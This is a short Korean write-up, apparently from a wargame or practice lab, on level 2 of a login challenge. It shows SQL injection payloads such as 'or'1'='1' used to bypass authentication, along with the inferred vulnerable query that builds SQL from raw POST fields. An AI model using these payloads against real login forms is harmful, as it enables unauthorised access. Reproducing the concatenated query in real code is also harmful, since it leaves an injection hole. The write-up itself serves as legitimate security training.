

Flack 워게임 Level2

B1ackZer0
2011.03.11

1번과 비슷한 유형이다.
한번 인젝션을 시도해보자.

/login/level2/index.php

Log in as any user, yes again. (Hint: where have the hint gone?)

>

References:

1번과 같은 값을 넣는다.

/login/level2/index.php

Log in as any user, yes again. (Hint: where have the hint gone?)

admin
'or'1'='1'

>

References:

클리어.

Logged in as: **babayaga**
Now try to log in with another user, or just head for the next level.

</login/level2/index.php>

Log in as any user, yes again. (Hint: where have the hint gone?)

하지만 '를 넣어 알아보면 쿼리문은

```
SELECT * FROM user WHERE (id='$_POST['user']' and pass='$_POST['password']');
```

이므로 아이디에 'or'1'='1)# 등 다른방법들도 존재한다.